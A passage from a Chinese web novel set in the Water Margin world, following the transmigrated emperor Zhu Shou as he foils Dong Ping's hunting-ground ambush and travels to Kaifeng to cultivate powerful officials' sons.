经过询问,朱寿方知杨志自失了生辰纲以后一直在外游荡。 由于自己把鲁智深留在了梁山泊,杨志没等来鲁智深一起攻下二龙山。 后来遇上了皇帝大赦天下,杨志有心再度为朝廷效力,顺便把自己身上的案子消了。 杨志作为将门之后,他一直想光耀门楣,报效朝廷。 之前他走失了花岗石,后来又被劫了生辰纲,运气确实不好。不过其实都不是什么大罪,顶多是失职罢了。 杨志身上的官司主要还是来自生辰纲被劫,同行的梁中书亲信不听其劝告,后来又诬陷其是贼子内应。 不过这案子其实有得查,何况梁中书在河北大名府,管不到山东。 朱寿听完杨志的倾诉以后,想了想便说道: “杨提辖,朱某相信你。生辰纲的事无需多虑,既不是你劫的,那朝廷法度自不会冤枉了你,若是有官司前来,朱某找人帮你打。” “大恩不言谢,杨志日后愿为将军肝脑涂地、万死不辞。” 杨志眼睛红了,看朱寿就像千里马看伯乐一样,拉丝了。 “只是现在委屈兄弟了,军中暂无军将空缺,兄弟可愿先在愚兄帐下先做家将,来日再登台拜将!” 虎翼军内部的军官任命程序上是听从侍卫步兵司,现在军中确实没有空缺。 “能与将军同袍,俺就是牵马执蹬也愿意啊!” 青面兽的眼睛里充满了清澈与赤忱,声线都在抖动。 第41章 谋划 程万里饮了一口茶,看着窗外的杨树上挂满冰雪,亭亭如盖矣。 “秋月,今年我们回去看看你娘的墓,你都长成大姑娘了……” 一旁的女儿跪坐在着,给他煮茶。 看着懂事、俏丽的女儿,程万里露出慈父的欣慰。 他劳苦半生,费尽心机在这官场里钩心斗角真得很累了,也只有面对女儿才会让他放松些。 “父亲还记得小时候家里养的那只大花猫吗?”女儿突然问道。 “为父怎会不记得,那年冬天它把你扑到湖里,你感冒了,你娘担心了一个月。好在那时天气没现在这么冷,有你难受的。” 程万里回忆起妻子,回忆起年轻时为官的小城,那时日子清平,官位低微,可他很开心啊。 “是啊,北方现在好冷。爹,我们什么时候回老家?” “等今年任期满了,为父就致仕带你还乡,到时候再养一只胖乎乎的花猫,然后给你物色一个好人家……” 想着往后的日子,程万里的嘴角翘起,对致仕以后的生活充满了向往。 他敏锐的最近官场上的波动,知道这是来了过江猛龙,另一方面他也察觉到近来农民起义越来越多,天下的形势变幻莫测。 或许他真的应该激流勇退了,现在的天下不再是文人士大夫动动嘴皮子,用肮脏的政治手段就可以主导的了。 与其身败名裂而死,不如去颐养天年。 看着乖巧的女儿给自己倒茶,程万里只觉无比温馨。 不过这温馨的一幕注定不长久。 一阵急促的敲门声击碎了这温馨的画面。 衣裳上满是白雪的大白胖子幕僚走进来,一看就有急报。 程万里示意女儿先进内室,然后让幕僚坐到身边,方才问道: “说吧,何事?” 幕僚:“相公大人,你还喝茶呢?禁军已经回来了。” 知府:“回来就回来呗,有什么好大惊小怪的。别急,先喝茶。” 幕僚:“哎哟,大人~您忘了祝家庄账本和乡兵的事了吗,朱寿这小子还不知道会怎么狮子大开口呢。” 知府:“哎,我知道了。账本的事无妨,可以慢慢谈。盔甲乡兵的事可不归我们管,这不是兵马都监的事吗?” 幕僚:“相公大人的意思是弃车保帅?” 知府:“别乱说,那董一撞向来为人鲁莽粗鄙,时常冲撞本官。现在弄出这等祸事不过是咎由自取罢了,如何能怪本官?” 幕僚:“大人这招高啊,借刀杀人,杀人不沾血,高实在是太高了。” 知府:“那朱寿既然回来了,咱们也需要和他好好谈。你亲自去邀请他,今晚在翠云楼……不,就在我府上设宴,我要为他庆功!” 幕僚:“诺!” ----------------- 日子一天天的过去,朱寿的威名在东平府日益渐长。 朱寿剿平祝家庄这件事带来的震撼在东平府人民心中非常大,甚至超过朱寿收复蓟城的威势。 对于平头老百姓来说,辽国和燕云十六州只存在于说书故事里,而祝家庄是他们面前只手遮天的顶尖势力。 不过在人们看不到的角落里,形势也正在不断变化。 城里的士绅文化人都对城外的虎翼军客气了不少,朱寿剿灭叛乱一事得到了士绅的高度赞扬与肯定。 百姓们只知道朱寿太猛了,连祝家庄都平了。 至于向来看不起武夫的士绅们态度为何转变,他们完全不知。 在朱寿与士绅们关系升温,一片皆大欢喜的局面同时,有人欢喜自然有人忧。 东平府城外的一间破落木屋前摆满了纸钱。 哭泣声难以抑制,祝龙披着孝服跪在地上。 没有人会想到祝龙这个涉嫌造反的要犯会被藏在东平府城郊。 而这一切自然归功祝龙身后的男人,董平。 作为东平府兵马总监,董平管控着整个东平府地区的治安。 在他的授意下,祝龙又不出门,确实很难被找到。附近的居民一看和厢军有关,也不敢多管闲事。 “大公子节哀顺变吧,现在朱贼势大,某给你安排安排,你最好快些走吧,不然恐有不忍言之事……” 董平也烧了两张纸,然后劝祝龙。 “杀父之仇不共戴天,我怎能苟活?将军可有办法,助我报仇?” 祝龙的眼中好似闪过火花,董平一看火候到了,故作犹豫说道: “如今局势大变,我也是有些力不从心了,在这府中也是备受排挤……” 祝龙听着董平的声音逐渐哽咽,不约共情。 董平最近的局面也确实不好,士绅打算拿他出来祭旗。 知府已经从多方面向他施压了,查账、翻老旧的官司、质问他剿匪不力…… 剿匪不力是他最憋屈的,他是真得在剿啊。可是每次去了,只有空空的简陋破屋。 梁山泊的那些贼子有骑马跑的,有划船的,八百里大的梁山泊兼连州县,他去哪找? 知府那张大脸顶在他面前吐沫横飞的样子气死他了,他只想破口大骂:就给那么点兵和几艘破船,连军粮都发不够,怎么搜山检湖。 董平向祝龙骂完知府以后,情绪稳定不少。 “朱寿是我们共同的机会,可现在他已经和府衙里的官员联手了,只怕士绅们的把柄被他握住了。 “现在我们要想对付他,只能用一些其他的手段了,豁出去了。”董平看着祝龙的眼睛说道。 “豁出去了,我现在人已经废了,家破人亡,没什么挂念的。” “好!那梁山贼寇我之前就怀疑是朱寿在后面控制,只是一直没有证据,现在也不需要了。” 董平握住祝龙的手说道:“既然他喜欢扮贼,那么我们也能扮。” 祝龙一听有些懵,不解地看着董平。 “让朱寿死在梁山匪寇的刀下,这样他也是死得其所。” “我并非舍不得这条命,只是我武艺平平。就怕拼上这条命,还是报不了仇。” 董平露出意味深长的笑容,俯身道: “我有一个经常买马的兄弟,他身高一丈,手下有一批杀手,人人能骑善战,他已经答应帮我们了。” “十天以后,春狩时朱寿会离开军营去射猎,到时候我们派人埋伏,定能结果这厮。” 祝龙听完甚是激动,旋即又问:“我可以做什么?” “公子的伤怎么样了?”董平关心地问道。 “两个月了,我已经好得差不多了,现在只想手刃仇敌。” “既然如此,那就请公子扮演梁山上的二郎真君,事成之后,公子与我那兄弟一起撤退……” 祝龙听得心悦诚服,董平在心中暗暗腹诽:祝朝奉的傻儿子真是好骗。 之前保下祝龙既是投鼠忌器,也是存了一个后手。 依现在形势看,这也是一个隐患,正好趁这次利用完,一起除掉。 以祝龙对朱寿的仇恨不存在反水的可能,必然用命厮杀。 第42章 春狩 风拂地,百草折腰。 金雕划过风轻云淡的上空最后落在朱寿手臂的皮甲上。 大黄狗紧跟战马,伸着舌头看着远方。 朱寿身着锦帽貂裘,胸中意气风发。 偌大的平岗上千骑跟随,里面只有五十余名禁军士卒,剩下的都是倾城而来的百姓。 能骑马的都是士绅豪族带着家中仆僮门客,还有上千平民百姓。 百姓们倒也不怕,有大军相护,人数众多,飞禽走兽都被可怕的人类吓得四散而逃。 春狩是一件大事,对于这个时代的人们来说。 两宋时期很多林地保存仍十分完整,飞禽走兽有很多,容易伤人。 春天到来,很多猛兽从冬眠里苏醒过来,为了以防他们伤害百姓影响春耕,朝廷会组织春狩。 这份工作一般由厢兵负责,不过今年威名赫赫的朱寿收到知府大人的邀请。 驻地禁军一般不能轻动,所以朱寿只带了五十亲兵来。 紧跟其后的村民、厢兵、士绅家丁数以千计,规模浩大。 这般千骑卷平冈的场面让朱寿心中很是受用。 他向来喜欢这种大场面,万众瞩目的感觉会让他的血脉沸腾。 朱寿沿途还尚未开弓射猎,他向人们说今天是来射虎的,其余的飞禽走兽就留给大家。 主要是他想起了苏轼,忍不住学着苏轼装一下。 至于射虎,那可就难了,老虎又不傻,看到几千人执刀带弓,它可不想送死。 虽然没有射到老虎,但朱寿一行人收获还是不错的,亲兵们打到了不少猎物。 朱寿就带着弓箭在山上瞎转悠,顺便吹吹春风,看看芳草萋萋的山岗以及远方开阔的平原。 一切好像又回到了那个遥远的时空,弘治皇帝当国,太子朱厚照闲暇时间就带着东宫侍卫在皇家林苑里放风。 春光照在脸上,暖暖的,很舒服。 睁开眼,朱寿慵懒地下了马,骑了一早上马,饿了。 山岗上炊烟燃起,不少武德充沛的村民已经开始就着猎物准备午饭。 漫山遍野的人往那一坐,姿态万千。 猎户农民们用火烤一会就着新鲜的果蔬吃了,肉可能还没烤熟。 士绅们讲究多了,他们要把锅碗瓢盆都带出来了,家仆们都忙得不可开交。 朱寿坐在山上吃着烤鸡腿,看着知府大人的锅着火了,不免幸灾乐祸。 董平和厢军则在山脚啃干粮,他们负责压阵与戒备。 午饭过后,村民们开始以村为单位组织在一起下山开始围猎。 士绅们吃完饭以后开始煮茶,以通判为首的文官士人们坐在一起,煮茶谈论显学,偶尔再作诗一首。 通判坐那了,知府就不可能过去了,他干脆组织人们去爬山,张叔夜也跟上了。 骨子里张叔夜的思想还是偏向大宋文人,热衷爬山吟诗明志这种附庸风雅的事。 无数东平府的市民追随知府登山,很多士绅纵使爬得满头大汗,还在不断拍知府的马屁。 宋朝的民众很推崇文官,他们是打心眼里佩服这些相公。 这很矛盾,一方面各地文官使劲压榨百姓,另一方面百姓又十分尊敬他们并渴望自己的子嗣能成为相公士大夫。 可以说宋朝的重文政策推行很成功,民间文风很盛。 (注释:宋明文风都很盛,是中国封建王朝里民众识字率最高的两大王朝,可笑的是这样两个王朝文官腐败程度也是最夸张的。 (顺带说一下,清朝识字率很低,满清统治者采取愚民政策。中国古时候的人们并不都是清末那样文盲遍地走的局面。) 朱寿不约想起自己少年时候东宫讲师给他讲的一篇名文,欧阳修的《醉翁亭记》。 尽管朱寿没有好好听讲师解释其中大儒的思想,但是他天赋异禀、过目不忘,记得文章。 大概就是欧阳修出去爬山,一大堆仰慕他的人跟着爬山,然后在醉翁亭装逼的故事。 朱寿读完以后只觉得大宋官绅的生活确实不错,怪不得那么多文人官绅最后死保大宋。 远处山腰上被众星拱卫的知府,正抚着长须一脸和善地向他的门生下属还有治下百姓拽文,妥妥的大儒风范。 朱寿只觉得无趣,当下带上自己的亲兵下了山,准备去真地射一射虎。 人群进了前方密林,放慢马速,三十多人下马披甲改为步行,走在队伍两侧,拿着刀盾。 “咻咻咻咻咻咻~” 两侧突然响起破空之声,数十箭矢席卷而来。 朱寿翻身下马,几支羽箭钉在步人甲之上。 “敌袭!”石秀大喝一声,亲兵很快围成圆形,拱卫朱寿。 几十个马匪从林中冲出,领头几人骑马披甲。 马匪和亲兵们很快来了一次剧烈冲撞,不过面对如移动长城般的步人甲重步兵,马匪根本冲不动。 朱寿大声喝问:“尔等何人,安敢造次?” 为首的马匪极其魁梧高大,身下的战马看起来显得袖珍。 巨人般的马匪身后闪出一个头戴三眼面具的男人,当即说道: “我等能乃梁山好汉,特来杀你这狗官!” 喊杀声四起,不过他们明显低估了朱寿亲兵的实力。 大宋确实武备松弛,可是朱寿的人马并不是大宋本土军队。 这支从燕云冲出来的军队那是杀人不眨眼,而亲兵是其中精锐。 砍起马匪来太轻松了,就像砍瓜切菜一般。 那带头的马匪有着和他那巨人般身材不一样的精明,看到亲兵战斗力强悍以后,立马带人调转马头跑路。 朱寿瞳孔一缩,拔出弓箭,顷刻间完成张弓搭箭。 双方距离不远,朱寿上弦的是重箭。 “咻~”箭矢破空而出,精准射入马匪首领战马的屁股。 战马嘶鸣,人立而起,那马匪首领被摔落在地上。 转瞬间,朱寿又是一箭,射中那冒充二郎真君贼寇的坐骑,箭矢直接钉穿战马的脖子,一箭毙命。 亲兵里擅长射者无数,此时又是步射,精准度极高,霎时间射翻了一大片马匪。 马匪惊慌失措像热锅上的蚂蚁四散而逃,朱寿看了身旁杨雄一眼。 杨雄带人骑马追上,朱寿从得胜钩上取下重斧,径直向前走去。 那假二郎站起来以后,拿起长枪直直冲向朱寿。 “铛铛铛~” 五个回合下来,假二郎被打得节节败退。 第六回合,朱寿手中的重斧再度以开山之势砸下。 “咔嚓~” 长枪被斩断,重斧切开皮甲,沿着胸膛将其一分为二剖开。 真正的沙场对决哪有什么大战一百回合,生死之争,刹那分晓。 马战倒是能多冲几个回合,却也不可能在两军混战时打五十个回合以上。 寻常训练比武倒是有可能,双方都不下死手,只是磨炼战技,比拼体力。 朱寿面对这些杀手行刺,胸中只有残暴的杀戮欲望。 一斧下去直接给假二郎开膛破肚,鲜血喷了朱寿一脸。 炽热的鲜血与刺鼻腥味进一步激发了他胸中的暴虐。 地上的尸体在巨力劈斩下面具掉了,露出大半张脸,正是祝家庄的落网之鱼——祝龙。 朱寿心善地为他扶好面具,然后将这假二郎首级斩落。 灵感几乎是瞬间而来,朱寿拎着那枚首级大声喊道: “梁山贼首已经伏诛!” 第43章 结案 亲兵帮朱寿提好斩获的首级,朱寿亲身上前追杀这些可恶的马匪。 落马的马匪被无情地收割,尸体堆满四野。 那身高近一丈的马匪领袖还在顽抗,左手拿着一面抢来的重盾,右手挥舞着一把环首刀。 可惜距离太近,不好用神臂弓,怕误伤自己人。 朱寿拎着重斧就往前冲,石秀来不及阻拦,只能紧跟而上。 身高一丈的小巨人突然被势如蛮牛的一击打得连退数步。 小巨人定睛一看,只见身前是一条雄壮不似人的彪形大汉。 这彪形大汉虽然比他矮一头,可是那肩比他还要宽上一丝,厚实的肩背上挂满贲起的肌肉堪比林中凶悍的巨熊。 当朱寿再度冲上来,小巨人勉强用盾牌遮住要害,却不想朱寿这一斧冲着大腿胯骨砍去。 “咯吱~” 重斧砸碎胯骨,顺势往下撕开血肉。 一招过后,巨人那庞大的身躯崩塌,随即倾倒在地。 小巨人下半身几乎废了,疼得“嘶溜嘶溜”的。 朱寿眼中闪过不屑,这么大块头却像纸糊的一样,外貌魁梧的身躯上筋肉打磨一般,没什么力气,武艺也是稀疏平常。 解决了大半马匪后,另一边杨雄也带人回来了。 八十余马匪斩杀七十余人,还逮了十人。 等到朱寿等人绑好马匪以后,厢军才姗姗来迟。 董平看到一地的尸体还有那浑身是血的朱寿时,心里咯噔一下。 大意了,有心算无心,却没想到这家伙真得能打,而且这么能打。 之前他也听过朱寿在燕云的战绩,可心里一直不服。纵使在酒楼里被狠狠砸了一下,他也不觉得真打起来自己会输。 在他看来朱寿就是捡了一个漏,辽国已经烂到骨子里了,五十万人被女真不足两万人消灭,军队早就没什么战斗力了。 朱寿从那么虚弱的辽国手上收复蓟城,这有什么难度,换成他双枪董平去,照样也没问题。 这一次,他联系了郁保四这个顶尖马匪加战马走私商,又是埋伏,占据了人数和地利,赢面很大。 郁保四可不是小瘪三,这是山东绿林里最大的走私马商,经常偷盗名马然后转卖,黑吃黑的情况也很多,从未翻车。 这背后所依仗的武力着实不低,为了增加把握,董平还送给他们不少甲,把他们武装到满级满配。 只是他没想到朱寿和他亲兵这么猛,不仅反杀,甚至直接一锅端了。 郁保四报名的手段是很硬核的,他的手下几乎都是一人双马,其中更是有不少名马,这都跑不掉。 朱寿看着董平笑了,说道:“董将军,梁山匪寇洒家替你平了,哈哈哈哈哈~” 董平下马以后向着朱寿鞠躬,随后说道:“将军神勇,解决东平大患。” 说完踢了地上的郁保四一脚,那郁保四本就疼得要死在地上滚来滚去,被董平踢一脚以后大声求饶。 “官爷饶命啊!饶命啊!” “饶了你,本官如何向东平府上下百姓交代?本官可要好好审你,到时候兴许能让你死得顺畅些。”董平义正言辞道。 说完以后,董平又看向朱寿堆满笑脸道:“将军,这些匪寇末将带回去审问了,今日多谢了。等案子结了,末将定然厚报将军。” 朱寿没有表情,只是冷漠地看着他。 董平的手刚刚准备去抓地上的郁保四,一只带着臂甲的手臂横在他眼前。 石秀冰冷地说道:“这涉及祝家谋反,归虎翼军管,要想转移犯人还得去向侍卫步兵司请示文书。” 一旁祝龙首级的面具被揭开露出那张脸,董平沉默了。 融入大宋体制以后,石秀学得还是很快的,已经能精准拿捏大宋官场公事公办的语气。 董平身后的厢兵准备去接管其余俘虏却被拦下,一时间双方剑拔弩张。 在这时四周已经围上来不少人,包括去去东面爬山的知府等人。 张叔夜来了以后听完事情经过,随即转首看向朱寿,两人现在有不低的默契,一眼就达成共识。 “现在梁山劫案与祝家庄造反一案可以并为一案,这些人于情于理都应该交予虎翼军审问。”张叔夜说道。 知府程万里在一旁附和道:“理应如此。” 董平青筋暴起,他看了一圈附近的人,又看看自己的兵,最后按捺下暴脾气。 有那么一瞬间,他想直接反了,直接杀光这些浑蛋。反正自己兵多,一拥而上干死这些浑蛋。 可转念一想,厢兵里大多数人是不敢对这些文官士绅做什么的,那是根植在骨子里的敬畏。 直白点说,他对这支军队的控制力度有限,没几个人会跟他造反到底。 最终厢兵让出一条道,朱寿带着亲兵押送着俘虏从他身旁走过。 “你还是太鲁莽了,哼~粗鄙冲动,难成大事!”朱寿的声音轻飘飘地在他耳畔响起。 董平快忍不住拔枪了,可是看着知府等人都在审视他,他终是深呼吸压下怒火。 如果现在造反,毫无疑问,在场的厢兵大半会倒戈相向。 夕阳下,董平的视野变成了腥红色,目睹着朱寿消失在森林尽头,他咬得牙酸。 ----------------- 草料场,无数负责给官府运送物资或战时骑乘的驽马、毛驴正在这里吃草。 董平在月色下带着十几个心腹在这里视察,几人都喝了一点酒。 “兄弟们,这次只怕是扛不住了。”董平一边喝着酒一边给一匹军中难得的良马喂豆子。 他们所在的这间饲舍只养了一匹马,是勇于军事的战马,性子比驽马大多了,待遇伙食也都好上很多。 “师傅,不如跟他们拼了。军中有根底在我们手上的不下百人,裹挟夹带之下拉上五百人不成问题……” 董平的徒弟黄信说道,他是董平心腹,二人早已绑死,现在眼看事情就要败露,他已经准备拼命。 “不成,我们打不进城,就算打进去,然后呢?”董平反问。 朝廷的招安是对于彪悍的山贼或是强悍的农民起义,可是如果是地方军队叛乱,那是绝不姑息啊。 “那师傅我们怎么办?”黄信问道,众人纷纷看向董平。 “你们马上回家收拾东西,不,别收拾了,待会一人三马,食物和水我让人已经准备得差不多了,待会我们就走!” 董平扫视众人一圈,神情严肃。 “大哥,没必要吧,那郁保四就算交代了,一时半会他们也找不到证据,不敢随便抓我们的……” “是啊,我家里美妾还等我呢,好歹把她带上啊!” “……” 众说纷纭,看着这群蠢货,董平也不想给他们解释,重重地拍了拍柱子,然后沉声道: “想死的就回去,不想死的就快休息,待会马上走。如果要走,就快点滚!” 董平那一副快要杀人灭口的样子吓得众人噤若无声。 “师傅,我们去哪啊?” “我有一个故交,在猿臂寨……” 说完以后,董平孤寂地望着天空上孤悬的月亮,叹了一口气,十年经营爬到这个位置,到头了。 当月亮落下,太阳升起。 东平府终于平静下来,梁山大寇伏诛,其身后竟然还有背景,通匪的兵马都监董平大人畏罪潜逃。 结案了,东平府风平浪静,那些风云变幻成了人们茶余饭后的谈资。 第44章 马植来信,朱寿入汴 “将军,董平等人逃去猿臂寨了。” “哦,猿臂寨?无妨,暂时不用管他了。” 朱寿一边和王伦下象棋,一边听石秀汇报的信息。 “不对不对,走错了,刚刚说话没看清,我要走这。” 朱寿眼看王伦要抽他的车,立马要求要改棋。 “主公,你怎么又悔棋?” “说什么呢,刚刚是因为处理公务没看清,哪能叫悔棋啊?” 王伦看着朱寿笑嘻嘻的样子,心中有些无奈又有些成就感,那么厉害的将军下棋照样不是他对手。 二人就这样下着棋喝着茶,朱寿偶尔悔两步棋,甚是惬意。 已经没有人在意董平了,朱寿也不忙着剿匪,毕竟他的职责是主要是拱卫东平。 现在董平已经离开东平府地界了,理论上是不在他的地界了。 虽然他们把董平扯进了祝家谋反案,但要想跨州府调兵还是需要发文往侍卫步军司好好请示。 朱寿现在也没这个想法,吃力不讨好。 董平去的什么猿臂寨,他也没听过,想来没什么英雄好汉,短时间内也壮大不起来。 等董平把势力发展起来,自己再去收割,功劳更大。 朱寿已经把董平安排得明明白白了。 “主公,案子已经结了,那郁保四也斩首了。现在隐患已除,或许该走走门道了。” 王伦盯着棋盘上朱寿红方的车建议道。 “嗯,马植还是很靠谱的,这次去京城,洒家倒要好好拜谢他。”朱寿说道。 前几日马植来了书信,向朱寿详细介绍了如今朝中主战派里的官员及其喜好,以及其中党派、人际关系。 对于入汴的事,朱寿已经颇有心得。 “还有一件事,主公不是小弟容不得君子,实在是张叔夜和我们不是一路人,这次走走门道把他调走吧。” 王伦小心翼翼地说着,察言观色,随时准备请罪。主要是张叔夜来了以后,朱寿和他总是在一起推心置腹,时常上演大宋忠臣戏码。 而且张叔夜文武双全,又和朱寿很是投缘,这让王伦有了严重危机感。 不过客观来说,王伦说得也不错。作为士人,张叔夜对大宋的忠诚度很高,有他在,朱寿很难高度掌控军队。 而且朱寿的进步基调就是依附童贯这些奸臣,这必然与张叔夜意见相左。 当前张叔夜和他们关系还不错,在张叔夜的视角朱寿城得上治军能力强还有脑子的武将。 之前朱寿在独龙岗将祝家庄、扈家庄收为己有,张叔夜也默许了。 毕竟大宋自有国情在那,官员武将借着剿匪添置一些产业尽在情理之中啊。 可朱寿接下来要是想更进一步扩张自己的势力,还是不适合把大宋忠良放自己身边。 “洒家自有安排。” 朱寿准备花钱帮张叔夜升一个官,反正这种人才在民族大义上确实是栋梁。 “还有差不多把扈三娘从牢里找个法子弄出来,替身什么的门道,你快点想办法。到时候再让她给她哥写封信。” 说完张叔夜的事,朱寿开始交代关于独龙岗后续发展事项。 他这一次倒不是单纯为了扈三娘的美色,主要是为了稳住她哥扈成给自己好好干活,招募佃户然后种田。 美色固然重要,可江山与霸业才是男人的毕生追求。 “洒家走了以后,知府应该不敢再作妖,他把柄还握在我们手里。另外不要和梁山鲁智深他们起冲突……” 棋下完了,朱寿和王伦最后不得不和棋,两边都只剩老将了。事情也差不多交代清楚,朱寿对王伦还是有所改观。 现在的王伦把自身位置摆得很正,又流了石秀看着他,朱寿倒不担心他作妖。 曹孟德有一句话“用人不疑,疑人不用”,朱寿很赞同这句话。 ----------------- 落日熔金,暮云合璧,人在何处。染柳烟浓,吹梅笛怨,春意知几许。 春日下的汴梁城郊很是繁华,汴梁是大宋的都城,亦是大宋五京之首——东京,当世第一雄城。 朱寿等人还在数里外的城郊就看到远方高大的城墙。 一路上来往的商队络绎不绝,朱寿甚至看到了骑着骆驼的西域胡商。 北宋在熙河开边以后,进一步打通了大宋和陇右都督府的联系,失落数百载的丝绸之路也重新架起。 清明上河图中描绘的繁荣东京正处在万族来商的时代,商品经济发展到有史以来上的巅峰。 大宋打仗确实不行,可是做生意是有一套的。其实这也是没办法,大宋财政问题冗积,只能想办法创收。 王安石变法、范仲淹变法包括蔡京变法其实都是在创收,其中商业受到了高度扶持。 主要是因为自大秦以来,重农抑商就是国策,商人交税抽取比例很高。 而大宋商人的税收贡献大幅上升,其社会地位上升。 大宋故而重视商业,现在是海路商贸并进,民间经商风气也不错,讲的就是“开源”。 朱寿等人随着长龙般的商队行至汴梁城下。 汴梁的城墙很高,池深城阔。 雄伟的汴梁城在五代时期成为北方政治经济中心,在洛阳、长安相继毁于战火后,这成为了五代的权力更迭风暴眼。 给城防看过文书以后,朱寿等人进了城。 汴梁城中道路开阔,路旁种有两排茂密的高大杨柳。 春风吹拂,柳絮飘扬。 城里人头攒动,商铺林立,每行五十余步就有一家酒楼。 汴梁的酒楼产业可以说冠绝天下,城中有七十二家酒楼。 眼前的繁华景象看花了亲兵们的眼,燕云老爷们没见过如此雄城,没见过这么繁华的街道。 “大哥,这汴梁也太大了吧,待会咱们会不会找不到马植先生啊?” “啧啧啧,不愧是大宋都城,燕京在他面前就像乡下。” “兄弟你看,那女人穿得咋那么带劲?她是不是在勾引洒家?” “收敛一点,别一副田舍汉的样子,给哥哥丢脸?” “……” 亲兵们七嘴八舌地讨论着,面对如此繁华的汴梁,他们都心中有怯。 朱寿则只是静静看着繁华的汴梁,有一搭没一搭地和手下的将军们聊天。 论繁荣,北宋汴京和大明的苏杭南京差不多,可是汴京要更加奢靡浮华。 北宋后期的勋贵广置产业,花销奢靡无度,整座都城如同梦幻般的天上白玉京。 可实际上不过是以天下资财供给东京的权贵,普通的汴梁市民反而面对日益高涨的物价难以为继。 汴梁就像现在的大宋,王朝只剩下浮华的表面,当整个王朝的“血”都被权贵们抽干时,就是王朝灭亡时。 朱寿在心里酸大宋汴梁,其实他曾经也是一个喜欢奢靡生活的皇帝,对汴梁还是很看得上的,不过现在他是批判性地看待汴梁。 逛了大半天,朱寿带着他们找到了约定见面的酒店。 一路上朱寿表现得游刃有余,面对偌大的东京表现得游刃有余,毫不露怯。 朱寿则想着待大事了解,就给自己放松一下,带上兄弟们勾栏听曲。 第45章 东京梦华 朱厚照做了一个很长很长的梦,梦见灯火阑珊,梦见长河落日,梦见圣人、才子、胡姬。 “来再饮一杯,朱兄,你不会这就醉了吧?” 一道调笑的声音在耳边响起,朱厚照从迷醉间恍惚过来,只见一张油腻的圆脸凑在他眼前,下意识就想给这张猪脸两拳。 脑袋有些疼,整个人晕乎乎的,喝懵了。 一旁的侍女看他喝懵了,递给他一块湿毛巾。 清凉湿润贴于脸上,整个人的意识清明了不少,看着此间歌舞升平还有席间的公子哥们,他凌乱的思绪终于理顺。 在马植的引荐下,他终于搭上了一众衙内的线。 为了进步,他对于美人财货那也是不含糊,之前获得的契丹美人和累积的财货选了一大批送给这些衙内。 得了财货美人后,众衙内都十分开心。 朱厚照曾是风流天子,谈起风花雪月可谓得心应手,双方很有共同语言。 此时,他们正在东京汴梁七十二家酒楼中有“酒肆之甲”之称的樊楼醉生梦死。 “朱兄,这是前番海上之盟从金国买来的烈酒,其性之烈常人所不能服之,哈哈哈哈~”坐在上首长了张猪脸的衙内笑道。 蒸馏酒汉时就有,可论性烈还是不如金人的,朱厚照此前飞花令输了被衙内们罚了数杯。 “哈哈哈,此酒甚烈,洒家就好这口。此后还请衙内送几坛给洒家,不甚感激。”朱厚照举起杯中的酒对着猪头衙内一饮而尽。 “那将军真是找对人了,现在汴梁城里的这金国烈酒就数咱们梁兄家里最多,圣上对梁公的恩宠那是羡煞旁人啊。” 一旁的公子哥吹捧到,梁衙内脸上的横肉笑得皱在一起活像屁股。 这个猪头衙内是梁师成的养子,梁师成权倾朝野,连当朝宰相王黼都叫他义父。历史上,联金灭辽的战略就是他促成的。 朱厚照进京要拜的山头就是梁师成,现在首要的就是接触这些衙内。 “朱兄如此豪迈雄健不愧是统领八百燕云铁骑大破上万辽兵的猛将,梁某就喜欢这种英雄豪杰。”梁衙内笑得两只眼睛眯成一道缝。 梁师成作为对辽主战派,对朱厚照这支从北方拉回来的虎狼之师还是非常看重的,加之朱厚照在燕云绿林的关系网可为朝廷开路。 梁衙内受命与朱厚照接触,起初他不太愿意与这厮杀汉应酬,却不想对方很会来事,不仅送契丹美人而且讲话还好听。 “安抚使的事包在梁某身上了,这几日你就在汴梁好好休息,四处逛逛。”梁衙内拍着胸脯说道。 “有劳衙内了,余必定不负所托!” 有了安抚使的头衔,他就能更好整合地方力量。 大宋官制到了王朝末年体系其实很混乱,经常出现一人身兼数职的情况,这也才给了朱寿可乘之机。 不过一切还是得循序渐进,赵匡胤搭建的朝政框架对于武将防范很到位,朱寿想在规则内发展起来要小心。 六奸正在侵蚀朝堂上的权力,破坏朝廷的稳定性,跟着他们混才有机会。 “契丹美人肤白如玉,实乃绝色。将军如此亲善大方,日后前途不限量啊!”一个公子哥搂着怀中契丹美人淫荡地大笑着。 看着眼前这群纸醉金迷沉沦于浮华盛世的王孙贵族,朱厚照脸上笑着,心里也在笑,衙内们世道就快变喽。 “哼~不过是些庸俗的胡姬,身上的羊臊味熏得人难受,这也能称得上绝色。”一个白衣青年坐在窗边一脸鄙夷的样子看着他们。 朱厚照心下微怒,换成三年前,他直接把这狗东西剁碎了。如今却是收敛心性,坐在那饮酒,好似事不关己。 梁衙内坐不住了,今天朱厚照请的都是他们圈子里的人,而这白衣公子是圈中比肩他的人物,时常喜欢怼人,如今却是落了他面子。 “那蔡兄说,什么样的人才能称得上绝色?”梁衙内问道。 二人目光相对,场中公子哥都埋头不说话了,朱厚照借饮酒挡住自己的脸偷偷观察这二位,他们身后的势力是梁师成与蔡京。 权臣们虽然一起鱼肉百姓、打压忠臣,可他们内部也并非铁板一块。 白衣青年缓缓说道:“汴京七十二楼头牌清倌中靓丽殊色何其之多,比之这些粗俗、身材不雅的胡女好看多了。” 朱厚照心中鄙夷这些北宋文人,由于缺乏武德,文弱书生们审美偏向“小家碧玉”“三寸金莲”,唐时“浓颜大气”华美之风不在。 “可要说绝色,她们都不行。在这盛世,唯有那艳冠天下的花魁李师师可称绝色。”白衣青年一副神往的样子说道。 场中众人都不敢接话,只因李师师是红颜祸水,当今官家的外室,没人敢妄议她。 梁衙内憋了半天才说了一句:“李大家现在很少表演了,少有人见之。那般国色盛颜早已遁出红尘世俗,不属人间了。” 白衣青年又说道:“我看不然,今日王希孟等人就请李大家游于州桥街边的湖畔楼船之上,到时候说不定还会演奏。” 众人都不约咽了一口口水,李师师在大宋那是顶级全民天后,上到王公贵族下到巷陌百姓无人不晓。 当初上元灯节李师师一曲歌舞斩获七十二楼花魁之名,全汴梁城为了听她的歌舞万人空巷。 “走,我等去一睹李大家的风采。”众人纷纷附和,这些衙内就好风花雪月这一口,虽吃不到李师师,但能远远看一眼也是不错了。 朱厚照心中也是颇为好奇这千古第一名妓到底有何不凡之处,他本就是寻花问柳的风流天子,最好这一口。 众人出了樊楼,朱厚照第一次这么近地欣赏这盛世东京的浮华夜景。 这里确实是纸醉金迷的销金窟,樊楼一次消费就消耗了他数百两银子。 汴梁是这个时代全世界最繁荣的商业大都市,南来北往的商人共聚于此,商品经济发展到了一个前所未有的高度。 自宋仁宗以后,大宋取消了坊市制度并推迟了宵禁,打破了商业的时空限制。 